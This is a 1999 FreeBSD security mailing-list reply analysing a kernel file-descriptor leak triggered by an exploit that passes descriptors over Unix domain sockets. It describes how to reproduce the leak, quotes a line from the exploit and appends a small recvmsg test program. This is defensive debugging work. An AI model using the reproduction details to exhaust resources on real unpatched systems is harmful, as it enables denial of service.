From owner-freebsd-security  Sun May  9  2:36:15 1999
Delivered-To: freebsd-security@freebsd.org
Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162])
	by hub.freebsd.org (Postfix) with SMTP id 0C17314E28
	for <security@FreeBSD.ORG>; Sun,  9 May 1999 02:35:58 -0700 (PDT)
	(envelope-from sthaug@nethelp.no)
Received: (qmail 65141 invoked by uid 1001); 9 May 1999 09:29:52 +0000 (GMT)
To: Don.Lewis@tsc.tdk.com
Cc: wes@softweyr.com, toasty@HOME.DRAGONDATA.COM,
	security@FreeBSD.ORG
Subject: Re: KKIS.05051999.003b
From: sthaug@nethelp.no
In-Reply-To: Your message of "Sat, 8 May 1999 20:26:05 -0700"
References: <199905090326.UAA19750@salsa.gv.tsc.tdk.com>
X-Mailer: Mew version 1.05+ on Emacs 19.34.2
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Date: Sun, 09 May 1999 11:29:52 +0200
Message-ID: <65139.926242192@verdi.nethelp.no>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.org

> Maybe a third process occasionally get scheduled while the exploit code
> has the descriptor in flight and causes unp_gc() to get executed.  If so,
> then the exploit shouldn't cause a problem in single user mode.

It happens in single user mode too.

In general, this program leaks one file descriptor for each time round
the client/server loops - this is easy to see if you add some debugging
printout to falloc()/ffree() in sys/kern/kern_descrip.c.

If you parametrize the client loop, ie.

        case 0:
                for (n=0;n<rounds;n++)
                        client();

you'll find that it leaks N-1 file descriptors if the client loop is run
N times and the program is aborted with ^C. It's eminently reproducible.

Other interesting points about this program:

- The client shouldn't receive anything at all, because it's listening
on a different socket (using PATH_TMP) than the server (using PATH) is
sending on.

- If you remove the following part of the client() routine:

    if ( sendto( sockfd,&data,sizeof( data),0,(struct sockaddr *) &addr_s,
            addr_s.sun_len) == -1) 
            printf( "client: sendto error %d\n",errno);

there is no longer any leak.

- The client is asking for messages with zero iov's, and length 0. To
me, this means it shouldn't receive *anything* (file descriptors or
otherwise). But the program included below, slightly modified from the
client() routine, receives one message of length zero. The same thing
happens on for instance NetBSD 1.4-BETA or NetBSD 1.3.2. Does this mean
the semantics of receiving zero length messages aren't sufficiently
well defined?

Steinar Haug, Nethelp consulting, sthaug@nethelp.no
----------------------------------------------------------------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define PATH_TMP "/tmp/123.tmp"

main()
{
	struct sockaddr_un	addr_c;
	struct msghdr		mymsghdr;
	int	sockfd, l;

	if ((sockfd = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) 
		perror("socket");

	strcpy(addr_c.sun_path, PATH_TMP);
	addr_c.sun_len = sizeof(addr_c.sun_len) + sizeof(addr_c.sun_family) 
			+ strlen(addr_c.sun_path) + 1;
	addr_c.sun_family = AF_UNIX;

	if (bind(sockfd, (struct sockaddr*) &addr_c, addr_c.sun_len) == -1)
		perror("bind");

	mymsghdr.msg_name = NULL;
	mymsghdr.msg_namelen = 0;
	mymsghdr.msg_iov = NULL;
	mymsghdr.msg_iovlen = 0;
	mymsghdr.msg_control = NULL;
	mymsghdr.msg_controllen = 0;
	mymsghdr.msg_flags = 0;

	if ( (l = recvmsg(sockfd, &mymsghdr, 0)) == -1)
		perror("recvmsg");
	else
		printf("client: received len %d\n", l);

	close(sockfd);
	if ( unlink( PATH_TMP) == -1)
		perror("unlink");
}


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message